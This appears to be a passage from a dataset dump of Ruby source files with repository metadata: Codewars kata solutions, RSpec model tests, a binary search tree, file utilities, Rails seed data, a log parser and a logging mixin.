n }\n primes.last == num ? bef_prime = primes[-2] : bef_prime = primes.last\n aft_prime = Prime.first(primes.size + 1).last\n [bef_prime, aft_prime]\nend\n\n\n# codewars kata: roman numerals helper\n# http://www.codewars.com/kata/51b66044bce5799a7f000003/train/ruby\nclass RomanNumerals\n @dict_hash = {M:1000, CM: 900, D:500, CD:400, C:100, XC:90,\n L:50, XL:40, X:10, IX:9, V:5, IV:4, I:1}\n\n def self.to_roman(int)\n string_array = Array.new\n\n crunch = lambda do |n| (int/n).times{ string_array << @dict_hash.invert[n].to_s }\n int %= n\n end\n\n @dict_hash.each{ |k,v| crunch.call(v) }\n string_array.join\n end\n\n def self.from_roman(string) ##### in progress #####\n integer = 0\n dict_array = @dict_hash.to_a\n\n # iterate through the string\n dict_array.each_index do |i|\n # if dict_array[i][0].length == 1\n # determine how many n times in a row the key occurs....\n n = /#{dict_array[i][0]}+/.match(string).to_s.length\n n.times{\n integer += dict_array[i][1]\n string.sub!(/#{dict_array[i][0]}+/,'')\n # remove corresponding decimal place from front of string\n }\n end\n\n integer\n end\nend\n\nTest.assert_equals(RomanNumerals.to_roman(1000), 'M')\nTest.assert_equals(RomanNumerals.from_roman('M'), 1000)\nTest.assert_equals(RomanNumerals.to_roman(1111), 'MCXI')\n\nTest.assert_equals(RomanNumerals.from_roman('MDCLXVI'), 1666)\nTest.assert_equals(RomanNumerals.to_roman(2008), 'MMVIII')\nTest.assert_equals(RomanNumerals.from_roman('MCMXC'), 1990)\n\n# codewars kata: josephus survivor\n# http://www.codewars.com/kata/555624b601231dc7a400017a/train/ruby\n# this solution is built on this solution:\n# http://www.codewars.com/kata/reviews/55561d8f01231dce9a000156/groups/5556d6c40ce7853ff3000029\ndef josephus_survivor(n,k)\n # (1..n) people are put into the circle\n items = (1..n).to_a\n Array.new(n){items.rotate!(k-1).shift}.last\nend\n\n\n# codewars kata: validate sudoku with size n x n\n# http://www.codewars.com/kata/validate-sudoku-with-size-nxn/train/ruby\n# this solution is built on this solution:\n# http://www.codewars.com/kata/reviews/5593733c289bb3285000000b/groups/56443537dd828c1c86000005\nclass Sudoku\n def initialize(board = [])\n @rows = board\n @size = @rows.size\n @root = Math.sqrt(@size)\n end\n\n def contains_all_n?(section)\n (1..@size).to_a.to_set == section.to_set\n end\n\n def is_valid\n # must contain n arrays, each of n length\n return false if !@rows.all?{|row| row.length == @size}\n blocks = @rows.map{|row| row.each_slice(@root).to_a}.transpose.flatten.each_slice(@size).to_a\n sudoku_sections = @rows + @rows.transpose + blocks\n sudoku_sections.all?{|section| contains_all_n?(section)}\n end\nend\n\n\n# codewars kata: sudoku solution validator\n# http://www.codewars.com/kata/sudoku-solution-validator/train/ruby\ndef validSolution(board)\n array_of_boxes = Array.new\n box = Array.new\n i = 0\n\n add_box_array = lambda do\n 3.times do\n 3.times do\n row = board[i]\n box.push(row[0]).push(row[1]).push(row[2])\n i += 1\n end\n\n array_of_boxes << box\n box = Array.new\n end\n end\n\n reset_and_rotate = lambda do\n i = 0\n board.each{ |row| row.rotate!(3) }\n end\n\n add_reset_rotate = lambda do\n add_box_array.call\n reset_and_rotate.call\n end\n\n 2.times {add_reset_rotate.call}\n add_box_array.call\n all_possible_arrays = (1..9).to_a.permutation.to_a\n\n # each row & each column is a unique permutation of base_array\n board.all?{ |row| all_possible_arrays.include?(row) } &&\n board.uniq.size == 9 &&\n board.transpose.all?{ |column| all_possible_arrays.include?(column) } &&\n board.transpose.uniq.size == 9 &&\n array_of_boxes.all? { |box| all_possible_arrays.include?(box) }\nend\n\n\n# codewars kata: josephus permutation\n# http://www.codewars.com/kata/5550d638a99ddb113e0000a2/train/ruby\n# for best solutions, see http://www.codewars.com/kata/5550d638a99ddb113e0000a2/solutions/ruby\ndef josephus(items,k)\n new_array = []\n while items.size > (k-1)\n new_array << items.delete_at(k-1)\n items.rotate!(k-1)\n end\n while items.size > 0\n items.rotate!(k-1)\n new_array << items.delete_at(0)\n end\n new_array\nend\n\n\n# codewars kata: word a9n (abbreviation)\n# http://www.codewars.com/kata/word-a9n-abbreviation/train/ruby\nclass Abbreviator\n def self.abbreviate(string)\n string.split(%r{\\b}).map{ |item|\n if %r([a-zA-Z]{4,}).match(item)\n item.replace(\"#{item[0]}#{item.size-2}#{item[-1]}\")\n else\n item\n end\n }.join\n end\nend\n\n\n# codewars kata: format a string of names\n# http://www.codewars.com/kata/format-a-string-of-names-like-bart-lisa-and-maggie/train/ruby\ndef list(names)\n array = names.map{|n| n.values}\n if array.size > 2\n array[0..-2].join(\", \") + \" & #{array[-1][0]}\"\n else\n array.join(\" & \")\n end\nend\n\n# refactored...\ndef list(names)\n array = names.map{|n| n.values}\n return array.join(\" & \") if array.size < 2\n array[0..-2].join(\", \") + \" & #{array[-1][0]}\"\nend\n\n\n# codewars kata: enigma machine (plugboard)\n# http://www.codewars.com/kata/5523b97ac8f5025c45000900/train/ruby\nclass Plugboard\n def initialize(wires=\"\")\n array = wires.split(%r{\\s*})\n if array.none?{|i| !(\"A\"..\"Z\").include?(i)} && array.size.even? && (array.size/2)<11 && array==array.uniq\n # if array includes only char within \"A\"..\"Z\" range\n # && if array is even and has 10 or less pairs of A..Z characters, all unique\n @wires = array\n else\n raise\n end\n end\n def process(wire)\n # @wires pairs char in even-odd index pairs: @wires[0] & @wires[1], and so on..\n if wire.size > 1\n \"Please enter a single character.\"\n elsif !@wires.include?(wire)\n wire\n elsif @wires.index(wire).even?\n @wires[@wires.index(wire) + 1]\n else @wires.index(wire).odd?\n @wires[@wires.index(wire) - 1]\n end\n end\nend\n\n#refactored...\nclass Plugboard\n def initialize(wires=\"\")\n @wires = wires\n raise if @wires.size.odd? || (@wires.size/2)>10 || @wires != @wires.chars.uniq.join\n end\n def process(wire)\n i = @wires.chars.index(wire)\n if wire.size > 1\n \"Please enter a single character.\"\n elsif i.nil?\n wire\n elsif i.even?\n @wires[i+1]\n else i.odd?\n @wires[i-1]\n end\n end\nend\n\n\n# codewars kata: pentabonacci\n# http://www.codewars.com/kata/55c9172ee4bb15af9000005d/train/ruby\ndef count_odd_pentaFib(n)\n array = [0,1,1,2,4,8]\n (5..n).each do |i|\n array[i] = array[i-5] + array[i-4] + array[i-3] + array[i-2] + array[i-1]\n end\n array.select{|i| i.odd?}.uniq!.count\nend\n\n\n# codewars kata: counting in the amazon\n# http://www.codewars.com/kata/55b95c76e08bd5eef100001e/train/ruby\ndef count_arara(n)\n arara_array = []\n (n/2).times{ |i| arara_array << \"adak\" }\n (n%2).times{ |i| arara_array << \"anane\" }\n arara_array.join(\" \")\nend\n\n#refactored...\ndef count_arara(n)\n ([\"adak\"] * (n/2) + [\"anane\"] * (n%2)).join(\" \")\nend\n\n\n# codewars kata: is a number prime?\n# http://www.codewars.com/kata/is-a-number-prime\ndef isPrime(num)\n# returns whether num is a prime number\n num > 1 && (2...num).none?{|n| num % n == 0}\nend\n\n\n# codewars kata: vasya and stairs\n# http://www.codewars.com/kata/vasya-and-stairs/train/ruby\ndef numberOfSteps(steps, m)\n ((steps/2 + steps%2)..steps).find{ |n| n%m==0 } || -1\nend\n\n\n# codewars kata: sum of top-left to bottom-right diagonals\n# http://www.codewars.com/kata/5497a3c181dd7291ce000700/train/ruby\ndef diagonalSum(matrix)\n (0...matrix.size).map { |i| matrix[i][i] }.reduce(&:+)\nend\n\n\n# codewars kata: musical pitch classes\n# http://www.codewars.com/kata/musical-pitch-classes/solutions/ruby/me/best_practice\ndef pitch_class(note)\n array_with_sharps = [\n 'B#', 'C#', 'D', 'D#', 'E', 'E#', 'F#', 'G', 'G#', 'A', 'A#', 'B']\n array_with_flats = [\n 'C','Db', 'D', 'Eb', 'Fb', 'F', 'Gb', 'G', 'Ab', 'A', 'Bb', 'Cb']\n\n array_with_sharps.index(note) ||\n array_with_flats.index(note)\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1147,"cells":{"blob_id":{"kind":"string","value":"5a1143e6972f664814834a76056922b39b8295d8"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"ghulammurtaza27/jungle-rails"},"path":{"kind":"string","value":"/spec/models/user_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2536,"string":"2,536"},"score":{"kind":"number","value":2.59375,"string":"2.59375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'rails_helper'\n\nRSpec.describe User, type: :model do\n describe 'Validations' do\n # validation tests/examples here\n it 'should save a user when name, email, and password are provided properly' do\n user = User.create(\n first_name: \"Ghulam\",\n last_name: \"Murtaza\",\n email: \"gm@gm.com\",\n password: \"gmc\",\n password_confirmation: \"gmc\"\n )\n expect(user).to be_valid\n end\n\n it 'must ensure that password and password_confirmation fields match' do\n user = User.create(\n first_name: \"Ghulam\",\n last_name: \"Murtaza\",\n email: \"gm@gm.com\",\n password: \"gmc\",\n password_confirmation: \"oopsie\"\n )\n expect(user).to_not be_valid\n end\n\n it 'should requore both password and password confirmation fields to be filled' do\n user = User.create(\n first_name: \"Ghulam\",\n last_name: \"Murtaza\",\n email: \"gm@gm.com\",\n password: nil,\n password_confirmation: \"gmc\"\n )\n expect(user).to_not be_valid\n end\n\n it 'must ensure that emails are unique (not case-sensitive)' do\n user1 = User.create(\n first_name: \"Ghulam\",\n last_name: \"Murtaza\",\n email: \"gm@gm.com\",\n password: \"gmco\",\n password_confirmation: \"gmco\"\n )\n user2 = User.create(\n first_name: \"Ghulam\",\n last_name: \"Murtaza\",\n email: \"gm@gm.com\",\n password: \"gmco\",\n password_confirmation: \"gmco\"\n )\n expect(user2).to_not be_valid\n end\n\n it 'must require name and email' do\n user = User.new(\n first_name: nil,\n last_name: nil,\n email: nil,\n password: \"oops\",\n password_confirmation: \"oops\"\n )\n expect(user).to_not be_valid\n end\n\n it 'must have a minimum length on password' do\n user = User.new(\n first_name: \"Ghulam\",\n last_name: \"Murtaza\",\n email: \"gm@gm.com\",\n password: \"g\",\n password_confirmation: \"g\"\n )\n expect(user).to_not be_valid\n end\n end\n\n describe '.authenticate_with_credentials' do\n it \"should authenticate if credentials exist in database\" do\n user = User.create(\n first_name: \"Ghulam\",\n last_name: \"Murtaza\",\n email: \"gm@gm.com\",\n password: \"gmc\",\n password_confirmation: \"gmc\"\n )\n authenticate = User.authenticate_with_credentials(user.email, user.password)\n expect(authenticate).to_not be_valid\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1148,"cells":{"blob_id":{"kind":"string","value":"08af5ac8838e15f64ef42b4a51b434345d4a93b5"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"yazseyit77/binary-search-tree-online-web-ft-081219"},"path":{"kind":"string","value":"/binary_search_tree.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":457,"string":"457"},"score":{"kind":"number","value":3.546875,"string":"3.546875"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":["LicenseRef-scancode-unknown-license-reference","LicenseRef-scancode-public-domain"],"string":"[\n \"LicenseRef-scancode-unknown-license-reference\",\n \"LicenseRef-scancode-public-domain\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"class BST\n attr_accessor :data, :right, :left\n\n def initialize(data)\n @data = data\n end\n\n def insert(n)\n if n <= @data\n if @left.nil?\n @left = BST.new(n)\n else\n @left.insert(n)\n end\n else\n if @right.nil?\n @right = BST.new(n)\n else\n @right.insert(n)\n end\n end\n end\n\n def each(&block)\n @left.each(&block) if @left\n block.call(@data)\n right.each(&block) if @right\n end\n\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1149,"cells":{"blob_id":{"kind":"string","value":"36f5bacac8bf38bdf1978642c6c83e90bada7c75"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"mbme/cman"},"path":{"kind":"string","value":"/lib/cman/utils.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":873,"string":"873"},"score":{"kind":"number","value":2.796875,"string":"2.796875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require 'fileutils'\nrequire 'pathname'\n\nmodule Cman\n # some common utils\n module Utils\n def copy_file(src, dst)\n if File.file?(src)\n FileUtils.cp src, dst\n elsif File.directory?(src)\n copy_dir src, dst\n end\n end\n\n def copy_dir(src, dst)\n dst_path = Pathname.new dst\n src_path = Pathname.new src\n\n Dir.glob(\"#{src}/**/*\") do |file|\n next unless File.file? file\n\n relpath = Pathname.new(file).relative_path_from(src_path)\n file_dst = dst_path.join(relpath).to_path\n\n FileUtils.mkdir_p File.dirname(file_dst)\n FileUtils.cp file, file_dst\n end\n end\n\n def build_path(file)\n path = Pathname(file).cleanpath\n\n unless path.absolute?\n base = Pathname(ENV['PWD']) or Pathname.pwd\n path = (base + path).cleanpath\n end\n\n path.to_s\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1150,"cells":{"blob_id":{"kind":"string","value":"66f509f6fb4ffc10400e36f9446aba8bbe456d0b"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"tvaroglu/backend_mod_1_prework"},"path":{"kind":"string","value":"/section1/exercises/learn_ruby_the_hard_way/ex15/ex15.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":745,"string":"745"},"score":{"kind":"number","value":4.125,"string":"4.125"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"#Supply file name as first ARG for script\nfilename = ARGV.first\n\n#Assign file (ARG) as a new variable which has the 'open' method called upon it\ntxt = open(filename)\n\n#Print the filename (ARG) interpolated into a string for the user\nputs \"Here's your file #{filename}:\"\n#Print the text previously assigned to the 'txt' variable\nprint txt.read\n\n#Print another string prompt for the user\nprint \"Type the filename again: \"\n#User is prompted to re-enter the file name\nfile_again = $stdin.gets.chomp\n\n#'file_again' variable that the user was previously prompted for has the 'open' method called upon it once more\ntxt_again = open(file_again)\n\n#Print the text assigned to the 'txt_again' variable that the user previously entered\nprint txt_again.read\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1151,"cells":{"blob_id":{"kind":"string","value":"a48070dcd18cd69fd75c8211a619074cb6db59f1"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"bwlv/debt_ceiling"},"path":{"kind":"string","value":"/spec/debt_ceiling_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1373,"string":"1,373"},"score":{"kind":"number","value":2.578125,"string":"2.578125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require 'spec_helper'\nrequire 'debt_ceiling'\n\ndescribe DebtCeiling do\n it 'has failing exit status when debt_ceiling is exceeded' do\n DebtCeiling.configure {|c| c.debt_ceiling = 0 }\n expect(DebtCeiling.debt_ceiling).to eq(0)\n expect { DebtCeiling.calculate('.', preconfigured: true) }.to raise_error\n end\n\n it 'has failing exit status when target debt reduction is missed' do\n DebtCeiling.configure {|c| c.reduction_target =0; c.reduction_date = Time.now.to_s }\n expect(DebtCeiling.debt_ceiling).to eq(nil)\n expect { DebtCeiling.calculate('.', preconfigured: true) }.to raise_error\n end\n\n it 'returns quantity of total debt' do\n expect(DebtCeiling.calculate('.')).to be > 5 # arbitrary non-zero amount\n end\n\n it 'adds debt for todos with specified value' do\n todo_amount = 50\n DebtCeiling.configure {|c| c.cost_per_todo = todo_amount }\n expect(DebtCeiling.calculate('spec/support/todo_example.rb')).to be todo_amount\n end\n\n it 'allows manual debt with TECH DEBT comment' do\n expect(DebtCeiling.calculate('spec/support/manual_example.rb')).to be 100 # hardcoded in example file\n end\n\n it 'allows manual debt with arbitrarily defined comment' do\n DebtCeiling.configure {|c| c.manual_callouts += ['REFACTOR'] }\n expect(DebtCeiling.calculate('spec/support/manual_example.rb')).to be 150 # hardcoded in example file\n end\n\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1152,"cells":{"blob_id":{"kind":"string","value":"7a3cb2ec19acf3f042d4c6624ada78e38629341d"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"html/sup"},"path":{"kind":"string","value":"/test/unit/post_test.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":567,"string":"567"},"score":{"kind":"number","value":2.515625,"string":"2.515625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'test_helper'\n\nclass PostTest < ActiveSupport::TestCase\n context \"Post::list\" do\n should \"return 5 items\" do\n 20.times do\n Post.make\n end\n\n assert_equal Post.list.size, 5\n end\n\n should \"order by id DESC\" do\n 3.times do |i|\n Post.make :date => Date.today + (3 - i).hours\n end\n\n assert_equal Post.list.first, Post.last(:order => 'date')\n end\n\n should \"return correct data for pages\" do\n 20.times do\n Post.make\n end\n\n assert_not_equal Post.list(1), Post.list(2)\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1153,"cells":{"blob_id":{"kind":"string","value":"b47415822a40da2f625a991bcf320c5dcded059e"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"molawson/repeatable"},"path":{"kind":"string","value":"/spec/repeatable/expression/weekday_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2700,"string":"2,700"},"score":{"kind":"number","value":3.03125,"string":"3.03125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"# typed: false\nrequire \"spec_helper\"\n\nmodule Repeatable\n module Expression\n describe Weekday do\n subject { described_class.new(weekday: 4) }\n\n it_behaves_like \"an expression\"\n\n describe \"#include?\" do\n it \"returns true for dates matching the weekday given\" do\n expect(subject).to include(::Date.new(2015, 1, 1))\n end\n\n it \"returns false for dates not matching the weekday given\" do\n expect(subject).not_to include(::Date.new(2015, 1, 2))\n end\n end\n\n describe \"#to_h\" do\n it \"returns a hash with the class name and arguments\" do\n expect(subject.to_h).to eq(weekday: {weekday: 4})\n end\n end\n\n describe \"#==\" do\n it \"returns true if the expressions have the same argument\" do\n expect(described_class.new(weekday: 1)).to eq(described_class.new(weekday: 1))\n end\n\n it \"returns false if the expressions do not have the same argument\" do\n expect(described_class.new(weekday: 1)).not_to eq(described_class.new(weekday: 2))\n end\n\n it \"returns false if the given expression is not a Weekday\" do\n expect(described_class.new(weekday: 1)).not_to eq(DayInMonth.new(day: 1))\n end\n end\n\n describe \"#eql?\" do\n let(:expression) { described_class.new(weekday: 1) }\n\n it \"returns true if the expressions have the same argument\" do\n other_expression = described_class.new(weekday: 1)\n expect(expression).to eql(other_expression)\n end\n\n it \"returns false if the expressions do not have the same argument\" do\n other_expression = described_class.new(weekday: 2)\n expect(expression).not_to eql(other_expression)\n end\n\n it \"returns false if the given expression is not a Weekday\" do\n other_expression = DayInMonth.new(day: 1)\n expect(expression).not_to eql(other_expression)\n end\n end\n\n describe \"#hash\" do\n let(:expression) { described_class.new(weekday: 1) }\n\n it \"of two expressions with the same arguments are the same\" do\n other_expression = described_class.new(weekday: 1)\n expect(expression.hash).to eq(other_expression.hash)\n end\n\n it \"of two expressions with different arguments are not the same\" do\n other_expression = described_class.new(weekday: 2)\n expect(expression.hash).not_to eq(other_expression.hash)\n end\n\n it \"of two expressions of different types are not the same\" do\n other_expression = DayInMonth.new(day: 1)\n expect(expression.hash).not_to eq(other_expression.hash)\n end\n end\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1154,"cells":{"blob_id":{"kind":"string","value":"8c76340e5f04eddfb2f007be1cfe05de192d7cc2"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"Dmitry-Pryshchepa/log_parser"},"path":{"kind":"string","value":"/lib/log_parser/log_line.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":270,"string":"270"},"score":{"kind":"number","value":2.671875,"string":"2.671875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# frozen_string_literal: true\n\nmodule LogParser\n class LogLine\n private_class_method :new\n\n def self.call(file_line)\n new(*file_line.split)\n end\n \n attr_reader :url, :ip\n\n def initialize(url, ip)\n @url = url\n @ip = ip\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1155,"cells":{"blob_id":{"kind":"string","value":"0ed237efc4f9306511b416a90b49384c96052ebf"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"prrn-pg/Shojin"},"path":{"kind":"string","value":"/Practice/atcoder/ABC/040/src/c.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1232,"string":"1,232"},"score":{"kind":"number","value":3.046875,"string":"3.046875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# 再帰の深さの上限に引っかかるのでなんとかするやつ\r\nif !ENV['RUBY_THREAD_VM_STACK_SIZE']\r\n #Rubyパスを取得するには、rbconfigかrubygemsを使う。AtCoderでは--disable-gemsされているので、require 'rubygems'は必須である。\r\n #require 'rbconfig';RUBY=File.join(RbConfig::CONFIG['bindir'],RbConfig::CONFIG['ruby_install_name'])\r\n require 'rubygems';RUBY=Gem.ruby\r\n exec({'RUBY_THREAD_VM_STACK_SIZE'=>'100000000'},RUBY,$0) #100MB\r\nend\r\n\r\n\r\n# 引数にコストを含めない大事(🐜本曰く)\r\nN = gets.to_i\r\n@arr = gets.chomp.split.map(&:to_i)\r\n@table = Array.new(N+1).map{Array.new(3, nil)}\r\n# i番目までで\r\ndef rec(i, step)\r\n return (@arr[i]-@arr[i-step]).abs if i==N-1 # 現在地点が終端なのでstep前との差を返す\r\n return (@arr[N-1]-@arr[N-2]).abs if i==N # 現在地点が終端を越えてしまった場合はとうぜん最後の2値の差\r\n return @table[i][step] if @table[i][step] != nil\r\n ret = (@arr[i] - @arr[i-step]).abs # 現在地点でのstep前との差\r\n ret += [rec(i+1, 1), rec(i+2, 2)].min # 次の地点へ移動・ステップ数を意識\r\n @table[i][step] = ret\r\n return ret\r\nend\r\n\r\nputs [rec(1, 1), rec(2, 2)].min"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1156,"cells":{"blob_id":{"kind":"string","value":"abf700fcaee8b3580707d88ad0ffdd9e1a2b33ef"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"georgehwho/ruby-exercises"},"path":{"kind":"string","value":"/initialize/lib/monkey.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":148,"string":"148"},"score":{"kind":"number","value":2.875,"string":"2.875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class Monkey\n attr_reader :name, :type, :favorite_food\n\n def initialize(a)\n @name = a[0]\n @type = a[1]\n @favorite_food = a[2]\n end\nend \n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1157,"cells":{"blob_id":{"kind":"string","value":"7b5eb8d508cf3375c0890b666da0a981168e0af2"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"brooklynresearch/Deuces"},"path":{"kind":"string","value":"/db/seeds.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":498,"string":"498"},"score":{"kind":"number","value":2.78125,"string":"2.78125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"row_count = 9\ncolumn_count = 17\n\nrows_with_large = [0,2,4,6]\n\n\nrow_count.times do |r|\n if rows_with_large.include?(r)\n #create large locker- in first column\n Locker.create(row: r, column: 0, large: true)\n #no locker in second column\n #\n #create 3rd - n column lockers for row\n (2...column_count).each do |c|\n Locker.create(row: r, column: c, large: false)\n end\n else\n\n column_count.times do |c|\n Locker.create(row: r, column: c, large: false)\n end\n\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1158,"cells":{"blob_id":{"kind":"string","value":"dde29e7429ffa34167dab1806d3d5d5b8610d0fb"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"kojiro-abk/rails-simple-airbnb"},"path":{"kind":"string","value":"/db/seeds.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1651,"string":"1,651"},"score":{"kind":"number","value":2.59375,"string":"2.59375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# This file should contain all the record creation needed to seed the database with its default values.\n# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup).\n#\n# Examples:\n#\n# movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])\n# Character.create(name: 'Luke', movie: movies.first)\nputs \"Cleaning the db...\"\n\nFlat.destroy_all\n\nputs \"db is clean\"\n\nputs \"creating restaurants...\"\n\nFlat.create!(\n name: 'Light & Spacious Garden Flat London',\n address: '10 Clifton Gardens London W9 1DT',\n description: 'A lovely summer feel for this spacious garden flat. Two double bedrooms, open plan living area, large kitchen and a beautiful conservatory',\n price_per_night: 75,\n number_of_guests: 3\n)\nFlat.create!(\n name: 'Flat Versailles',\n address: 'Av Nestor Clifton 540 Curitiba',\n description: 'Era um Flat que tinha em Curitiba bom e relativamente barato e, principalmente, pertinho do Serpro',\n price_per_night: 35,\n number_of_guests: 2\n)\nFlat.create!(\n name: 'Night Espace Mind Flat France',\n address: 'Clifford goes to Space 99 Paris',\n description: 'A new garden steamer en San Francisco goes to two double bedrooms, open plan living area, no kitchen and a beautiful conservatory',\n price_per_night: 45,\n number_of_guests: 4\n)\nFlat.create!(\n name: 'This will help us to get started',\n address: 'Avenida Rua da Frente, 100, Florida SE',\n description: 'O mais perto da Rua da Frente e tem two double bedrooms, open plan living area, com a maior kitchen do mundo a beautiful conservatory',\n price_per_night: 85,\n number_of_guests: 5\n)\n\nputs \"finished\""},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1159,"cells":{"blob_id":{"kind":"string","value":"bb9f53da02e0dfc840ce1f2b2b883c66c1836f35"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"BrandyMint/auto_logger"},"path":{"kind":"string","value":"/lib/auto_logger.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1817,"string":"1,817"},"score":{"kind":"number","value":2.609375,"string":"2.609375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require 'logger'\nrequire 'active_support'\nrequire 'active_support/core_ext/string/inflections'\nrequire 'beautiful/log'\n\nrequire \"auto_logger/version\"\nrequire \"auto_logger/formatter\"\nrequire \"auto_logger/named\"\n\n# Миксин добавляет в класс метод `logger` который пишет лог\n# в файл с названием класса\n#\n#\n# Использование:\n#\n# class CurrencyRatesWorker\n# include AutoLogger\n#\n# def perform\n# logger.info 'start'\n\n# Чтобы указать имя лог файла используйте AutoLogger::Named:\n#\n# class CurrencyRatesWorker\n# include AutoLogger::Named.new(name: 'filename')\n\n\nmodule AutoLogger\n DEFAULT_LOG_DIR = './log'\n\n mattr_accessor :log_dir, :log_formatter, :logger_builder, :_cached_logger\n\n def logger\n _cached_logger ||= _build_auto_logger\n end\n\n private\n\n # Логируем вместе с временем выполнения\n #\n def bm_log(message)\n res = nil\n bm = Benchmark.measure { res = yield }\n logger.info \"#{message}: #{bm}\"\n res\n end\n\n def _auto_logger_tag\n ([Class, Module].include?(self.class) ? self.name : self.class.name).underscore.gsub('/','_')\n end\n\n def _auto_logger_file\n file = \"#{_auto_logger_tag}.log\"\n\n if log_dir.present?\n File.join(log_dir, file)\n\n elsif defined? Rails\n Rails.root.join 'log', file\n\n else\n File.join(DEFAULT_LOG_DIR, file)\n end\n end\n\n def _log_formatter\n @log_formatter || !defined?(Rails) || Rails.env.test? ? Logger::Formatter.new : Formatter.new\n end\n\n def _build_auto_logger\n if logger_builder.nil?\n ActiveSupport::Logger.new(_auto_logger_file).\n tap { |logger| logger.formatter = _log_formatter }\n else\n logger_builder.call(_auto_logger_tag, _log_formatter)\n end\n 